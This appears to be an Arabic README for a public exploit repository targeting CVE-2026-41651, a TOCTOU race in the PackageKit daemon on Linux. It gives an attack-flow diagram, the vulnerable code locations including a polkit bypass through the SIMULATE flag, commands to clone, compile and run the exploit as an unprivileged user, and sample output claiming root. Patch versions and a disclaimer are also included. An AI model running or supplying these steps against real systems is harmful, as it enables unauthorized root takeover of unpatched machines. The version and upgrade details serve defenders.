
استغلال محلي لتصعيد الامتيازات يستهدف حالة السباق TOCTOU في PackageKit (CVE-2026-41651). يرفع صلاحيات المستخدم غير المميز إلى صلاحيات الجذر عبر تجاوز polkit والتلاعب بالحالة على أنظمة Linux.
استغلال تصعيد امتيازات محلية يستهدف البرنامج الخفي لـ PackageKit.
يرفع صلاحيات مستخدم محلي غير مميز إلىrootمن خلال ثغرة حالة سباق من نوع TOCTOU.
CVE-2026-41651 (المعروفة أيضًا باسم Pack2TheRoot) هي ثغرة حرجة من نوع TOCTOU (Time-Of-Check to Time-Of-Use) تتمثل في حالة سباق في PackageKit، وهي خدمة نظام تستخدمها العديد من توزيعات لينكس لتجريد إدارة الحزم.
تتيح الثغرة لمستخدم محلي غير مميز التلاعب بحالات المعاملات في PackageKit وتجاوز فحوصات التفويض في ظل ظروف محددة.
قد يتمكن المهاجم الذي يملك وصولًا محليًا من:
rootpolkit| المكوّن | النسخ المعرّضة | النسخة المُصحّحة |
|---|---|---|
| PackageKit | 1.0.2 – 1.3.4 | 1.3.5 |
تنبع المشكلة من عيوب منطقية متعددة داخل src/pk-transaction.c.
Attacker (unprivileged) packagekitd (root)
│ │
├── 1. InstallFiles(SIMULATE) ───────► │ polkit bypassed → state = READY
│ │ queued async dispatch
│
├── 2. InstallFiles(payload) ─────────► │ cached flags overwritten
│ │ invalid state transition ignored
│
│ [dispatch occurs] │
│ │ payload processed as root
│ │ maintainer scripts executed
│
└────────────────────────────────────► │ privilege escalation achieved
ثبّت مكتبات التطوير المطلوبة:
sudo apt update
sudo apt install libglib2.0-dev
git clone https://github.com/Lutfifakee-Project/CVE-2026-41651.git
cd CVE-2026-41651
gcc -o exploit CVE-2026-41651.c \
`pkg-config --cflags --libs glib-2.0 gio-2.0` \
-Wall
قم بالتشغيل كمستخدم غير مميز.
./exploit
______ ______ ___ ___ ___ ____ ___________ _______
/ ___/ | / / __/___|_ |/ _ \|_ |/ __/____/ / < / __// __< /
/ /__ | |/ / _//___/ __// // / __// _ \/___/_ _/ / _ \/__ \/ /
\___/ |___/___/ /____/\___/____/\___/ /_//_/\___/____/_/
CVE-2026-41651 - PackageKit TOCTOU Local Privilege Escalation
═══════════════════════════════════════════════════════════════════
[*] Building packages...
[*] Starting race condition...
[*] Waiting for dispatch...
[*] Polling for payload...
[+] SUCCESS — privilege escalation completed
pkcon --version
أو:
dpkg -l | grep packagekit
1.0.2 – 1.3.41.3.5 أو أحدثsudo apt update
sudo apt upgrade packagekit
الإصدارات الرسمية:
هذا المستودع مُقدَّم حصريًا من أجل:
المؤلف غير مسؤول عن أي إساءة استخدام أو نشاط غير قانوني أو ضرر ناتج عن هذا المشروع.
لا تستخدم هذا البرنامج ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا لاختبارها.
| الخطأ | الموقع | الوصف |
|---|
| BUG 1 | السطر 4036 | InstallFiles() يستبدل العلامات والمسارات المخزنة مؤقتًا للمعاملة دون تحقق مناسب من الحالة |
| BUG 2 | السطور 876–881 | pk_transaction_set_state() يرفض بصمت انتقالات الحالة العكسية |
| BUG 3 | السطور 2273–2277 | pk_transaction_run() يقرأ العلامات المخزنة مؤقتًا أثناء التوزيع وليس أثناء التفويض |
| BYPASS | السطور 2893–2900 | علم SIMULATE (0x4) يتخطى فحوصات تفويض polkit |